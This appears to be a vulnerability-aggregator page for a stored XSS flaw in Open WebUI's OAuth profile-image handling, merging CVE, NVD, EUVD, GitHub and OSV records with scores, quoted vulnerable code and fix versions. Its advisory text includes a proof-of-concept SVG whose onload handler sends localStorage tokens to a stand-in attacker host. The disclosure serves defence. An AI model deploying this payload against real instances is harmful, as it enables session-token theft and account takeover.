CVE-2026-56398
Open WebUI - Stored Cross-Site Scripting via OAuth Picture Claim SVG Data URI
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.5
Open WebUI - Stored Cross-Site Scripting via OAuth Picture Claim SVG Data URI
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.
- Record
CVE-2026-56398- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2026-44628
8.5
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.
- Record
EUVD-2026-44628- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3wgj-c2hg-vm6q
7.3
Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url
Summary
When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....
The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.
Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.
Details
1. MIME inferred from URL extension, not Content-Type
backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:
response = await client.get(picture_url, ...)
if response.status_code == 200:
picture = response.content
base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
if guessed_mime_type is None:
guessed_mime_type = "image/jpeg"
return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"
No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.
2. OAuth path bypasses the profile-image validator
backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....
This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.
3. Endpoint serves attacker-controlled MIME with inline disposition
backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
iter([data]),
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.
4. No default CSP / nosniff
backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.
PoC
Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.
- Attacker hosts a malicious SVG at
https://attacker.example/p.svg:
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
- Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores
data:image/svg+xml;base64,...in the attacker's…
- Record
GHSA-3wgj-c2hg-vm6q- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-20, CWE-79
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5p6h-xfw9-p64q
8.5
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth...
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.
- Record
GHSA-5p6h-xfw9-p64q- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
8.5
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.
- Record
CVE-2026-56398- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
8.5
Open WebUI - Stored Cross-Site Scripting via OAuth Picture Claim SVG Data URI
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.
- Record
CVE-2026-56398- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVGHSA-3wgj-c2hg-vm6q
7.3
Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url
Summary
When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....
The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.
Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.
Details
1. MIME inferred from URL extension, not Content-Type
backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:
response = await client.get(picture_url, ...)
if response.status_code == 200:
picture = response.content
base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
if guessed_mime_type is None:
guessed_mime_type = "image/jpeg"
return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"
No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.
2. OAuth path bypasses the profile-image validator
backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....
This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.
3. Endpoint serves attacker-controlled MIME with inline disposition
backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
iter([data]),
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.
4. No default CSP / nosniff
backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.
PoC
Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.
- Attacker hosts a malicious SVG at
https://attacker.example/p.svg:
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
- Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores
data:image/svg+xml;base64,...in the attacker's…
- Record
GHSA-3wgj-c2hg-vm6q- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-20, CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
through 0.9.4 | 0.9.5 |
open-webuiPyPI |
before 0.9.5, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 45 moreShow less0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5 |
0.9.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-56398 is a high vulnerability (CVSS 8.5) in Openwebui Open Webui, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 50th percentile. Fixed in open-webui 0.9.5.
References
github.com/open-webui/open-webui/security/advisories/GHSA-3wgj-c2hg-vm6q
vulncheck.com/advisories/open-webui-stored-cross-site-scripting-via-oauth-picture-claim-svg-data-uri
github.com/open-webui/open-webui/releases/tag/v0.9.5
github.com/advisories/GHSA-3wgj-c2hg-vm6q
nvd.nist.gov/vuln/detail/CVE-2026-56398
github.com/advisories/GHSA-5p6h-xfw9-p64q
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56398.json
github.com/open-webui/open-webui
Left out here: 106 versions and the rest of 2 source descriptions. The JSON record has them.